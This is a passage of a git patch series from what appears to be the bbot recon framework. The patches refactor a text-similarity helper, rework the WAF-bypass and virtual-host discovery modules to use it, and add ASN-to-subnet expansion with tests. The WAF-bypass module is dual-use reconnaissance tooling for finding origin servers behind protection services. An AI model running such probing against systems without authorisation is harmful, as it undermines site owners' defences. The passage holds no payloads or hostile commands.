Truncation rules: - - If content <= 3072 bytes (2048 + 1024): return as-is - - If content > 3072 bytes: return first 2048 bytes + last 1024 bytes - - This captures: - - First 2048 bytes: HTTP headers, HTML head, title, main content start - - Last 1024 bytes: Footers, closing scripts, HTML closing tags - """ - content_length = len(content) - - # No truncation needed for smaller content - if content_length <= 3072: - return content - - # Truncate: first 2048 + last 1024 bytes - first_part = content[:2048] - last_part = content[-1024:] - - return first_part + last_part - async def _verify_canary_keyword(self, original_response, probe_url, is_https, basehost, host_ip): """Perform last-minute check on the canary for keyword-based virtual host wildcards""" @@ -848,7 +784,7 @@ async def _verify_canary_keyword(self, original_response, probe_url, is_https, b ) return False - similarity = self.get_content_similarity(original_response, keyword_canary_response) + similarity = self.helpers.web.response_similarity(original_response, keyword_canary_response) if similarity >= self.SIMILARITY_THRESHOLD: self.verbose( f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - similarity: {similarity:.3f} above threshold {self.SIMILARITY_THRESHOLD} - Original: {original_response.get('http_code', 'N/A')} ({len(original_response.get('response_data', ''))} bytes), Current: {keyword_canary_response.get('http_code', 'N/A')} ({len(keyword_canary_response.get('response_data', ''))} bytes)" @@ -885,7 +821,7 @@ async def _verify_canary_consistency( return True # Fallback - use similarity comparison for response data (allows slight differences) - similarity = self.get_content_similarity(original_canary_response, consistency_canary_response) + similarity = self.helpers.web.response_similarity(original_canary_response, consistency_canary_response) if similarity < self.SIMILARITY_THRESHOLD: self.verbose( f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {consistency_canary_response.get('http_code', 'N/A')} ({len(consistency_canary_response.get('response_data', ''))} bytes)" From 6d4c88b3c873a61850b980737045e37f9fffe52b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 10 Sep 2025 18:08:11 -0400 Subject: [PATCH 044/129] further generalizing comparison helper --- bbot/core/helpers/web/web.py | 104 ++++++++++-------- bbot/modules/virtualhost.py | 25 ++++- .../module_tests/test_module_virtualhost.py | 2 - 3 files changed, 77 insertions(+), 54 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index e63cbaca0c..8c1f71934b 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -627,25 +627,34 @@ def response_to_json(self, response): return j - def response_similarity(self, response1, response2, normalization_filter=None, similarity_cache=None): + def text_similarity(self, text1, text2, normalization_filter=None, similarity_cache=None, truncate=True): """ - Calculate similarity between two HTTP response objects using rapidfuzz with performance optimizations. + Calculate similarity between two text strings using rapidfuzz with performance optimizations. - This method compares the response_data content of two HTTP response objects and returns a similarity - score between 0.0 (completely different) and 1.0 (identical). It includes several optimizations: - - Fast exact equality check for identical responses - - Content truncation for large responses (>4KB) to improve performance + This method compares two text strings and returns a similarity score between 0.0 (completely + different) and 1.0 (identical). It includes several optimizations: + - Fast exact equality check for identical text + - Optional content truncation for large text (>4KB) to improve performance - Optional caching using xxHash for fast cache key generation (bring your own similarity_cache dict) - - Hostname reflection filtering to normalize responses + - Text normalization filtering to remove dynamic content + + The method is particularly useful for: + - Comparing HTTP response bodies + - Content change detection + - Wildcard detection in web applications + - Deduplication of similar text content Args: - response1 (dict): First HTTP response object with 'response_data' key containing the response body - response2 (dict): Second HTTP response object with 'response_data' key containing the response body - normalization_filter (str, optional): String to remove from both response bodies before comparison. - Useful for removing hostname reflections or other dynamic content that would skew similarity calculations. + text1 (str): First text string to compare + text2 (str): Second text string to compare + normalization_filter (str, optional): String to remove from both texts before comparison. + Useful for removing hostnames, timestamps, or other dynamic content that would skew + similarity calculations. similarity_cache (dict, optional): Cache dictionary for storing/retrieving similarity results. Uses xxHash-based keys for fast lookups. If provided, results will be cached to improve performance on repeated comparisons. + truncate (bool, optional): Whether to truncate large text for performance. Defaults to True. + When enabled, text larger than 4KB is truncated to first 2KB + last 1KB for comparison. Returns: float: Similarity score between 0.0 (completely different) and 1.0 (identical). @@ -653,70 +662,71 @@ def response_similarity(self, response1, response2, normalization_filter=None, s Examples: Basic similarity comparison: - >>> similarity = self.helpers.web.response_similarity(response1, response2) + >>> similarity = self.helpers.web.text_similarity(text1, text2) >>> if similarity > 0.8: - >>> print("Responses are very similar") + >>> print("Texts are very similar") - With hostname reflection filtering: - >>> similarity = self.helpers.web.response_similarity( - >>> baseline_response, - >>> probe_response, + With content normalization filtering: + >>> similarity = self.helpers.web.text_similarity( + >>> baseline_text, + >>> probe_text, >>> normalization_filter="example.com" >>> ) With caching for performance: >>> cache = {} - >>> similarity = self.helpers.web.response_similarity( - >>> response1, - >>> response2, + >>> similarity = self.helpers.web.text_similarity( + >>> text1, + >>> text2, >>> similarity_cache=cache >>> ) + Disable truncation for exact comparison: + >>> similarity = self.helpers.web.text_similarity( + >>> text1, + >>> text2, + >>> truncate=False + >>> ) + Performance Notes: - - Responses larger than 4KB are automatically truncated to first 2KB + last 1KB for comparison - - Exact equality is checked first for optimal performance on identical responses + - Text larger than 4KB is automatically truncated to first 2KB + last 1KB for comparison (when truncate=True) + - Exact equality is checked first for optimal performance on identical text - Cache keys are order-independent (comparing A,B gives same cache key as B,A) + - Disabling truncation may impact performance on very large text but provides more accurate results """ + + # Fastest check: exact equality (very common for identical content) + if text1 == text2: + return 1.0 # Exactly the same + from rapidfuzz import fuzz import xxhash - # Create fast hashes for cache key using xxHash - response1_data = response1["response_data"] - response2_data = response2["response_data"] - # Normalize by removing specified content to eliminate differences if normalization_filter: - response2_data = response2_data.replace(normalization_filter, "") - response1_data = response1_data.replace(normalization_filter, "") + text1 = text1.replace(normalization_filter, "") + text2 = text2.replace(normalization_filter, "") - # Fastest check: exact equality (very common for identical error pages) - if response1_data == response2_data: - return 1.0 # Exactly the same - - response1_hash = xxhash.xxh64( - response1_data.encode() if isinstance(response1_data, str) else response1_data - ).hexdigest() - response2_hash = xxhash.xxh64( - response2_data.encode() if isinstance(response2_data, str) else response2_data - ).hexdigest() + # Create fast hashes for cache key using xxHash + text1_hash = xxhash.xxh64(text1.encode() if isinstance(text1, str) else text1).hexdigest() + text2_hash = xxhash.xxh64(text2.encode() if isinstance(text2, str) else text2).hexdigest() - # Create cache key (order-independent) - cache_key = tuple(sorted([response1_hash, response2_hash])) + # Create cache key (order-independent) - include truncate setting in cache key + cache_key = tuple(sorted([text1_hash, text2_hash]) + [str(truncate)]) # Check cache first if provided if similarity_cache is not None and cache_key in similarity_cache: return similarity_cache[cache_key] # Calculate similarity with optional truncation for performance - # Truncate if EITHER response is larger than 4096 bytes - if len(response1_data) > 4096 or len(response2_data) > 4096: + if truncate and (len(text1) > 4096 or len(text2) > 4096): # Take first 2048 bytes + last 1024 bytes for comparison - response1_truncated = self._truncate_content_for_similarity(response1_data) - response2_truncated = self._truncate_content_for_similarity(response2_data) - similarity = fuzz.ratio(response1_truncated, response2_truncated) / 100.0 + text1_truncated = self._truncate_content_for_similarity(text1) + text2_truncated = self._truncate_content_for_similarity(text2) + similarity = fuzz.ratio(text1_truncated, text2_truncated) / 100.0 else: - # Use full content for smaller responses - similarity = fuzz.ratio(response1_data, response2_data) / 100.0 + # Use full content for comparison + similarity = fuzz.ratio(text1, text2) / 100.0 # Cache the result if cache provided if similarity_cache is not None: diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index d7ee21fcec..a6ce44bb52 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -417,7 +417,11 @@ async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, return True # Compare original probe response with modified response - similarity = self.helpers.web.response_similarity(probe_response, wildcard_canary_response) + similarity = self.helpers.web.text_similarity( + probe_response["response_data"], + wildcard_canary_response["response_data"], + similarity_cache=self.similarity_cache, + ) result = similarity <= self.SIMILARITY_THRESHOLD if not result: @@ -751,8 +755,11 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): # Calculate content similarity to canary (junk response) # Use probe hostname for normalization to remove hostname reflection differences - similarity = self.helpers.web.response_similarity( - canary_response, probe_response, normalization_filter=probe_host, similarity_cache=self.similarity_cache + similarity = self.helpers.web.text_similarity( + canary_response["response_data"], + probe_response["response_data"], + normalization_filter=probe_host, + similarity_cache=self.similarity_cache, ) # Debug logging only when we think we found a match @@ -784,7 +791,11 @@ async def _verify_canary_keyword(self, original_response, probe_url, is_https, b ) return False - similarity = self.helpers.web.response_similarity(original_response, keyword_canary_response) + similarity = self.helpers.web.text_similarity( + original_response["response_data"], + keyword_canary_response["response_data"], + similarity_cache=self.similarity_cache, + ) if similarity >= self.SIMILARITY_THRESHOLD: self.verbose( f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - similarity: {similarity:.3f} above threshold {self.SIMILARITY_THRESHOLD} - Original: {original_response.get('http_code', 'N/A')} ({len(original_response.get('response_data', ''))} bytes), Current: {keyword_canary_response.get('http_code', 'N/A')} ({len(keyword_canary_response.get('response_data', ''))} bytes)" @@ -821,7 +832,11 @@ async def _verify_canary_consistency( return True # Fallback - use similarity comparison for response data (allows slight differences) - similarity = self.helpers.web.response_similarity(original_canary_response, consistency_canary_response) + similarity = self.helpers.web.text_similarity( + original_canary_response["response_data"], + consistency_canary_response["response_data"], + similarity_cache=self.similarity_cache, + ) if similarity < self.SIMILARITY_THRESHOLD: self.verbose( f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {consistency_canary_response.get('http_code', 'N/A')} ({len(consistency_canary_response.get('response_data', ''))} bytes)" diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py index e383d8ebd0..18c215fb8b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -216,9 +216,7 @@ def request_handler(self, request): def check(self, module_test, events): brute_hosts_found = set() - print(f"\nDEBUG: Found {len(events)} events:") for e in events: - print(f" {e.type}: {e.data if hasattr(e, 'data') else 'N/A'}") if e.type == "VIRTUAL_HOST": vhost = e.data["virtual_host"] if vhost in ["admin.test.example", "api.test.example", "test.test.example"]: From b147ae502f1c6cd0f781692d3fde9fae5e411704 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 11 Sep 2025 00:59:22 -0400 Subject: [PATCH 045/129] rework comparison logic to use helper --- bbot/modules/waf_bypass.py | 67 +++++++++---------- .../module_tests/test_module_waf_bypass.py | 4 +- 2 files changed, 35 insertions(+), 36 deletions(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 3bb7317474..75392ce8bf 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -1,6 +1,4 @@ from bbot.modules.base import BaseModule -from difflib import SequenceMatcher -import asyncio class waf_bypass(BaseModule): @@ -33,7 +31,8 @@ async def setup(self): self.protected_domains = {} # {domain: event} - store events for protected domains self.bypass_candidates = {} # {base_domain: set(cidrs)} self.domain_ips = {} # {full_domain: set(ips)} - self.content_fingerprints = {} # {full_url: fingerprint} store content samples for comparison + self.similarity_cache = {} + self.content_fingerprints = {} self.similarity_threshold = self.config.get("similarity_threshold", 0.90) self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) self.neighbor_cidr = int(self.config.get("neighbor_cidr", 24)) @@ -47,24 +46,6 @@ async def setup(self): self.cloud_ips = set() return True - def get_content_fingerprint(self, content): - """Extract a representative fingerprint from content""" - if not content: - return None - - # Take 3 samples of 500 chars each from start, middle and end - # This gives us enough context for comparison while reducing storage - content_len = len(content) - if content_len <= 1500: - return content # If content is small enough, just return it all - - start = content[:500] - mid_start = max(0, (content_len // 2) - 250) - middle = content[mid_start : mid_start + 500] - end = content[-500:] - - return start + middle + end - async def get_url_content(self, url, ip=None): """Helper function to fetch content from a URL, optionally through specific IP""" try: @@ -97,12 +78,17 @@ async def get_url_content(self, url, ip=None): else: self.debug(f"curl returned no content for {url} via IP {ip}") else: - curl_response = await self.helpers.web.request(url, timeout=10) - if curl_response and curl_response["status_code"] in [200, 301, 302, 500]: - return curl_response + response = await self.helpers.web.curl(url=url) + if not response: + self.debug(f"No response received from {url}") + return None + elif response.get("http_code", 0) in [200, 301, 302, 500]: + return response else: - status = getattr(curl_response, "status_code", "unknown") - self.debug(f"Failed to fetch content from {url}") + self.debug( + f"Failed to fetch content from {url} - Status: {response.get('http_code', 'unknown')} (not in allowed list)" + ) + return None except Exception as e: self.debug(f"Error fetching content from {url}: {str(e)}") return None @@ -147,12 +133,18 @@ async def handle_event(self, event): self.debug(f"Found {provider_name}-protected domain: {domain}") curl_response = await self.get_url_content(url) - curl_response_content = curl_response["response_data"] + if not curl_response: + self.debug(f"Failed to get response from protected URL {url}") + return - if not curl_response_content: + if not curl_response["response_data"]: self.debug(f"Failed to get content from protected URL {url}") return + # Store the response object for later comparison + self.content_fingerprints[url] = curl_response + self.debug(f"Stored response from {url} (content length: {len(curl_response['response_data'])})") + # Get CIDRs from the base domain of the protected domain base_dns = await self.helpers.dns.resolve(base_domain) if base_dns: @@ -201,6 +193,8 @@ async def handle_event(self, event): if asns: for asn_info in asns: subnets = asn_info.get("subnets") + if not subnets: + continue if isinstance(subnets, str): subnets = [subnets] for cidr in subnets: @@ -219,6 +213,7 @@ async def filter_event(self, event): async def check_ip(self, ip, source_domain, protected_domain, source_event): matching_url = next((url for url in self.content_fingerprints.keys() if protected_domain in url), None) + if not matching_url: self.debug(f"No matching URL found for {protected_domain} in stored fingerprints") return None @@ -229,7 +224,7 @@ async def check_ip(self, ip, source_domain, protected_domain, source_event): return None self.verbose( - f"Bypass attempt: {protected_domain} via {ip} (orig len {len(original_response["response_data"])}) from {source_domain}" + f"Bypass attempt: {protected_domain} via {ip} (orig len {len(original_response['response_data'])}) from {source_domain}" ) bypass_response = await self.get_url_content(matching_url, ip) @@ -237,7 +232,11 @@ async def check_ip(self, ip, source_domain, protected_domain, source_event): self.debug(f"Failed to get content through IP {ip} for URL {matching_url}") return None - similarity = self.helpers.web.response_similarity(original_response, bypass_response) + similarity = self.helpers.web.text_similarity( + original_response["response_data"], + bypass_response["response_data"], + similarity_cache=self.similarity_cache, + ) return (matching_url, ip, similarity, source_event) if similarity >= self.similarity_threshold else None async def finish(self): @@ -288,7 +287,7 @@ async def finish(self): self.debug(f"\nFound {len(all_ips)} non-CloudFlare IPs to check: {all_ips}") - tasks = [] + coros = [] new_pairs_count = 0 for protected_domain, source_event in self.protected_domains.items(): @@ -299,14 +298,14 @@ async def finish(self): self.attempted_bypass_pairs.add(combo) new_pairs_count += 1 self.debug(f"Checking {ip} for {protected_domain} from {src}") - tasks.append(asyncio.create_task(self.check_ip(ip, src, protected_domain, source_event))) + coros.append(self.check_ip(ip, src, protected_domain, source_event)) self.verbose( f"Checking {new_pairs_count} new bypass pairs (total attempted: {len(self.attempted_bypass_pairs)})..." ) - self.debug(f"about to start {len(tasks)} tasks") - async for completed in self.helpers.as_completed(tasks): + self.debug(f"about to start {len(coros)} coroutines") + async for completed in self.helpers.as_completed(coros): result = await completed if result: confirmed_bypasses.append(result) diff --git a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py index 99692a0462..b695fad764 100644 --- a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py +++ b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py @@ -94,9 +94,9 @@ async def setup_after_prep(self, module_test): async def fake_get_url_content(self_waf, url, ip=None): if "protected.test" in url and (ip == None or ip == "127.0.0.1"): - return "PROTECTED CONTENT!" + return {"response_data": "PROTECTED CONTENT!", "http_code": 200} else: - return "Error!!" + return {"response_data": "ERROR!", "http_code": 404} import types From 2ed2296b83685a31c973ae832bee548f0376a2bd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Sep 2025 16:24:09 -0400 Subject: [PATCH 046/129] correct ASN expansion, bug fixes, tests --- bbot/cli.py | 5 +- bbot/core/event/base.py | 5 + bbot/core/event/helpers.py | 53 ++++++- bbot/core/helpers/asn.py | 174 +++++++++++++++------ bbot/modules/internal/speculate.py | 12 +- bbot/modules/report/asn.py | 97 ++++++------ bbot/modules/waf_bypass.py | 2 +- bbot/scanner/preset/preset.py | 5 +- bbot/scanner/scanner.py | 27 ++-- bbot/scanner/target.py | 27 ++++ bbot/test/test_step_1/test_target.py | 223 +++++++++++++++++++++++++++ 11 files changed, 523 insertions(+), 107 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 333ab8c202..b8e262ee64 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -90,7 +90,7 @@ async def _main(): preset._default_output_modules = options.output_modules preset._default_internal_modules = [] - preset.bake() + await preset.bake() # --list-modules if options.list_modules: @@ -150,6 +150,8 @@ async def _main(): log.warning(str(e)) return + await scan._prep() + deadly_modules = [ m for m in scan.preset.scan_modules if "deadly" in preset.preloaded_module(m).get("flags", []) ] @@ -191,7 +193,6 @@ async def _main(): log.verbose(row) scan.helpers.word_cloud.load() - await scan._prep() if not options.dry_run: log.trace(f"Command: {' '.join(sys.argv)}") diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 43b097779f..17d7869290 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1135,6 +1135,11 @@ class ASN(DictEvent): _always_emit = True _quick_emit = True + def sanitize_data(self, data): + if not isinstance(data, int): + raise ValidationError(f"ASN number must be an integer: {data}") + return data + class CODE_REPOSITORY(DictHostEvent): _always_emit = True diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index 524eccbcd8..a87dbca2a9 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -18,6 +18,19 @@ It's useful for quickly parsing target lists without the cpu+memory overhead of creating full-fledged BBOT events Not every type of BBOT event needs to be represented here. Only ones that are meant to be targets. + +PRIORITY SYSTEM: +Event seeds support a priority system to control the order in which regex patterns are checked. +This prevents conflicts where one event type's regex might incorrectly match another type's input. + +Priority values: +- Higher numbers = checked first +- Default priority = 5 +- Range: 1-10 + +To set priority on an event seed class: + class MyEventSeed(BaseEventSeed): + priority = 8 # Higher than default, will be checked before most others """ @@ -37,7 +50,12 @@ def __new__(mcs, name, bases, attrs): def EventSeed(input): input = smart_encode_punycode(smart_decode(input).strip()) - for _, event_class in bbot_event_seeds.items(): + + # Sort event classes by priority (higher priority first) + # This ensures specific patterns like ASN:12345 are checked before broad patterns like hostname:port + sorted_event_classes = sorted(bbot_event_seeds.items(), key=lambda x: getattr(x[1], "priority", 5), reverse=True) + + for _, event_class in sorted_event_classes: if hasattr(event_class, "precheck"): if event_class.precheck(input): return event_class(input) @@ -53,6 +71,7 @@ def EventSeed(input): class BaseEventSeed(metaclass=EventSeedRegistry): regexes = [] _target_type = "TARGET" + priority = 5 # Default priority for event seed matching (1-10, higher = checked first) __slots__ = ["data", "host", "port", "input"] @@ -76,6 +95,9 @@ def _sanitize_and_extract_host(self, data): """ return data, None, None + async def _generate_children(self, helpers): + return [] + def _override_input(self, input): return self.data @@ -143,6 +165,7 @@ def _sanitize_and_extract_host(data): class OPEN_TCP_PORT(BaseEventSeed): regexes = regexes.event_type_regexes["OPEN_TCP_PORT"] + priority = 1 # Low priority: broad hostname:port pattern should be checked after specific patterns @staticmethod def _sanitize_and_extract_host(data): @@ -236,3 +259,31 @@ def _override_input(self, input): @staticmethod def handle_match(match): return match.group(1) + + +class ASN(BaseEventSeed): + regexes = (re.compile(r"^(?:ASN|AS):?(\d+)$", re.I),) # adjust regex to match ASN:17178 AS17178 + priority = 10 # High priority + + def _override_input(self, input): + return f"ASN:{self.data}" + + # ASNs are essentially just a superset of IP_RANGES. + # This method resolves the ASN to a list of IP_RANGES using the ASN API, and then adds the cidr string as a child event seed. + # These will later be automatically resolved to an IP_RANGE event seed and added to the target. + async def _generate_children(self, helpers): + asns = await helpers.asn.asn_to_subnets(int(self.data)) + children = [] + if asns: + for asn in asns: + subnets = asn.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if subnets: + for cidr in subnets: + children.append(cidr) + return children + + @staticmethod + def handle_match(match): + return match.group(1) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index aa8a738f65..d2b5119d60 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -1,19 +1,23 @@ import ipaddress import logging +import asyncio from radixtarget.tree.ip import IPRadixTree log = logging.getLogger("bbot.core.helpers.asn") class ASNHelper: - asndb_url = "https://asndb.api.bbot.io/v1/ip/" + asndb_ip_url = "https://asndb.api.bbot.io/v1/ip/" + asndb_asn_url = "https://asndb.api.bbot.io/v1/asn/" def __init__(self, parent_helper): self.parent_helper = parent_helper # IP radix trees (authoritative store) – IPv4 and IPv6 self._tree4: IPRadixTree = IPRadixTree() self._tree6: IPRadixTree = IPRadixTree() - self._prefix_map: dict[str, list] = {} + self._subnet_to_asn_cache: dict[str, list] = {} + # ASN cache (ASN ID -> data mapping) + self._asn_to_data_cache: dict[int, list] = {} # Default record used when no ASN data can be found UNKNOWN_ASN = { @@ -24,65 +28,147 @@ def __init__(self, parent_helper): "country": "", } - async def get(self, ip: str): + async def _request_with_retry(self, url, max_retries=10): + """Make request with retry for 429 responses.""" + for attempt in range(max_retries + 1): + response = await self.parent_helper.request(url, timeout=15) + if response is None or getattr(response, "status_code", 0) != 429: + return response + + if attempt < max_retries: + delay = min(2**attempt, 300) + log.debug(f"ASN API rate limited, waiting {delay}s (attempt {attempt + 1})") + await asyncio.sleep(delay) + else: + log.warning(f"ASN API gave up after {max_retries + 1} attempts due to rate limiting") + + return response + + async def asn_to_subnets(self, asn): + """Return subnets for *asn* using cached subnet ranges where possible.""" + # Handle both int and str inputs + if isinstance(asn, int): + asn_int = asn + else: + try: + asn_int = int(str(asn.lower()).lstrip("as")) + except ValueError: + log.warning(f"Invalid ASN format: {asn}") + return [self.UNKNOWN_ASN] + + cached = self._cache_lookup_asn(asn_int) + if cached is not None: + log.debug(f"cache HIT for asn: {asn}") + return cached + + log.debug(f"cache MISS for asn: {asn}") + asn_data = await self._query_api_asn(asn_int) + if asn_data: + self._cache_store_asn(asn_data, asn_int) + return asn_data + return [self.UNKNOWN_ASN] + + async def ip_to_subnets(self, ip: str): """Return ASN info for *ip* using cached subnet ranges where possible.""" ip_str = str(ipaddress.ip_address(ip)) - cached = self._cache_lookup(ip_str) + cached = self._cache_lookup_ip(ip_str) if cached is not None: log.debug(f"cache HIT for ip: {ip_str}") return cached or [self.UNKNOWN_ASN] log.debug(f"cache MISS for ip: {ip_str}") - asn_data = await self._query_api(ip_str) + asn_data = await self._query_api_ip(ip_str) if asn_data: - self._cache_subnets(asn_data) + self._cache_store_ip(asn_data) return asn_data return [self.UNKNOWN_ASN] - async def _query_api(self, ip: str): + async def _query_api_ip(self, ip: str): # Build request URL using overridable base - url = f"{self.asndb_url}{ip}" + url = f"{self.asndb_ip_url}{ip}" + response = await self._request_with_retry(url) + if response is None: + log.warning(f"ASN DB API: no response for {ip}") + return None + + status = getattr(response, "status_code", 0) + if status != 200: + log.warning(f"ASN DB API: returned {status} for {ip}") + return None + try: - response = await self.parent_helper.request(url, timeout=15) - if response is None: - log.warning(f"ASN DB API: no response for {ip}") - return None + raw = response.json() + except Exception as e: + log.warning(f"ASN DB API: JSON decode error for {ip}: {e}") + return None + + if isinstance(raw, dict): + subnets = raw.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if not subnets: + subnets = [f"{ip}/32"] + + rec = { + "asn": str(raw.get("asn", "")), + "subnets": subnets, + "name": raw.get("asn_name", ""), + "description": raw.get("org", ""), + "country": raw.get("country", ""), + } + return [rec] + + log.warning(f"ASN DB API: returned unexpected format for {ip}: {raw}") + return None - status = getattr(response, "status_code", 0) - if status != 200: - log.warning(f"ASN DB API: returned {status} for {ip}") - return None + async def _query_api_asn(self, asn: str): + url = f"{self.asndb_asn_url}{asn}" + response = await self._request_with_retry(url) + if response is None: + log.warning(f"ASN DB API: no response for {asn}") + return None - try: - raw = response.json() - except Exception as e: - log.warning(f"ASN DB API: JSON decode error for {ip}: {e}") - return None - - if isinstance(raw, dict): - subnets = raw.get("subnets") - if isinstance(subnets, str): - subnets = [subnets] - if not subnets: - subnets = [f"{ip}/32"] - - rec = { - "asn": str(raw.get("asn", "")), - "subnets": subnets, - "name": raw.get("asn_name", ""), - "description": raw.get("org", ""), - "country": raw.get("country", ""), - } - return [rec] - - log.warning(f"ASN DB API: returned unexpected format for {ip}: {raw}") + status = getattr(response, "status_code", 0) + if status != 200: + log.warning(f"ASN DB API: returned {status} for {asn}") return None + + try: + raw = response.json() except Exception as e: - log.warning(f"ASN DB API: request error to url {url} for {ip}: {e}") + log.warning(f"ASN DB API: JSON decode error for {asn}: {e}") return None - def _cache_subnets(self, asn_list): + if isinstance(raw, dict): + subnets = raw.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if not subnets: + subnets = [] + + rec = { + "asn": str(raw.get("asn", "")), + "subnets": subnets, + "name": raw.get("asn_name", ""), + "description": raw.get("org", ""), + "country": raw.get("country", ""), + } + return [rec] + + log.warning(f"ASN DB API: returned unexpected format for {asn}: {raw}") + return None + + def _cache_store_asn(self, asn_list, asn_id: int): + """Cache ASN data by ASN ID""" + self._asn_to_data_cache[asn_id] = asn_list + log.debug(f"ASN cache ADD {asn_id} -> {asn_list[0].get('asn', '?') if asn_list else '?'}") + + def _cache_lookup_asn(self, asn_id: int): + """Lookup cached ASN data by ASN ID""" + return self._asn_to_data_cache.get(asn_id) + + def _cache_store_ip(self, asn_list): if not (self._tree4 or self._tree6): return for rec in asn_list: @@ -96,10 +182,10 @@ def _cache_subnets(self, asn_list): continue tree = self._tree4 if net.version == 4 else self._tree6 tree.insert(str(net), data=asn_list) - self._prefix_map[str(net)] = asn_list - log.debug(f"ASN cache ADD {net} -> {asn_list[:1][0].get('asn', '?')}") + self._subnet_to_asn_cache[str(net)] = asn_list + log.debug(f"IP cache ADD {net} -> {asn_list[:1][0].get('asn', '?')}") - def _cache_lookup(self, ip: str): + def _cache_lookup_ip(self, ip: str): ip_obj = ipaddress.ip_address(ip) tree = self._tree4 if ip_obj.version == 4 else self._tree6 node = tree.get_node(ip) diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index 45f3c6a6f0..d5fbf3d17d 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -65,7 +65,8 @@ async def setup(self): if not self.portscanner_enabled: self.info(f"No portscanner enabled. Assuming open ports: {', '.join(str(x) for x in self.ports)}") - target_len = len(self.scan.target.seeds) + # Count the number of seed entries, not total IP addresses to avoid overflow + target_len = len(self.scan.target.seeds.event_seeds) if target_len > self.config.get("max_hosts", 65536): if not self.portscanner_enabled: self.hugewarning( @@ -88,6 +89,15 @@ async def handle_event(self, event): # generate individual IP addresses from IP range if event.type == "IP_RANGE" and self.range_to_ip: net = ipaddress.ip_network(event.data) + num_ips = net.num_addresses + max_hosts = self.config.get("max_hosts", 65536) + + if num_ips > max_hosts: + self.warning( + f"IP range {event.data} contains {num_ips:,} addresses, which exceeds max_hosts limit of {max_hosts:,}. Skipping IP_ADDRESS speculation." + ) + return + ips = list(net) random.shuffle(ips) for ip in ips: diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 8636f17af4..6d7e1e1bb6 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -1,3 +1,4 @@ +import ipaddress from bbot.modules.report.base import BaseReportModule @@ -23,6 +24,9 @@ async def setup(self): "description": "unknown", "country": "", } + # Track ASN data locally instead of relying on cache + self.asn_data = {} # ASN number -> ASN record mapping + self.processed_subnets = {} # subnet -> ASN number mapping for quick lookups return True async def filter_event(self, event): @@ -34,30 +38,52 @@ async def filter_event(self, event): async def handle_event(self, event): host = event.host - asns = await self.helpers.asn.get(str(host)) - - for asn in asns: - # Calculate subnet count - subnets = asn.get("subnets", []) - subnet_count = len(subnets) - - # Add new summary field - asn["subnet_count"] = subnet_count - - emails = asn.pop("emails", []) - asn_event = self.make_event(asn, "ASN", parent=event) - if not asn_event: - continue - - asn_number = asn.get("asn", "") - asn_desc = asn.get("description", "") - asn_name = asn.get("name", "") - asn_country = asn.get("country", "") - - await self.emit_event( - asn_event, - context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_desc}, {asn_country})", - ) + host_str = str(host) + + # Check if this IP is already covered by a subnet we've processed + try: + ip_obj = ipaddress.ip_address(host_str) + for subnet_str, asn_number in self.processed_subnets.items(): + try: + subnet = ipaddress.ip_network(subnet_str, strict=False) + if ip_obj in subnet: + self.debug( + f"IP {host_str} already covered by processed subnet {subnet_str} (ASN {asn_number})" + ) + return + except ValueError: + continue + except ValueError: + pass # Invalid IP address, continue with normal processing + + asn_data = await self.helpers.asn.ip_to_subnets(host_str) + if asn_data: + asn_record = asn_data[0] + asn_number = asn_record.get("asn") + asn_desc = asn_record.get("description", "") + asn_name = asn_record.get("name", "") + asn_country = asn_record.get("country", "") + subnets = asn_record.get("subnets", []) + + # Store ASN data locally for reporting + if asn_number and asn_number != "UNKNOWN" and asn_number not in self.asn_data: + self.asn_data[asn_number] = { + "name": asn_name, + "description": asn_desc, + "country": asn_country, + "subnets": set(subnets), + } + # Track processed subnets for quick lookups + for subnet in subnets: + self.processed_subnets[subnet] = 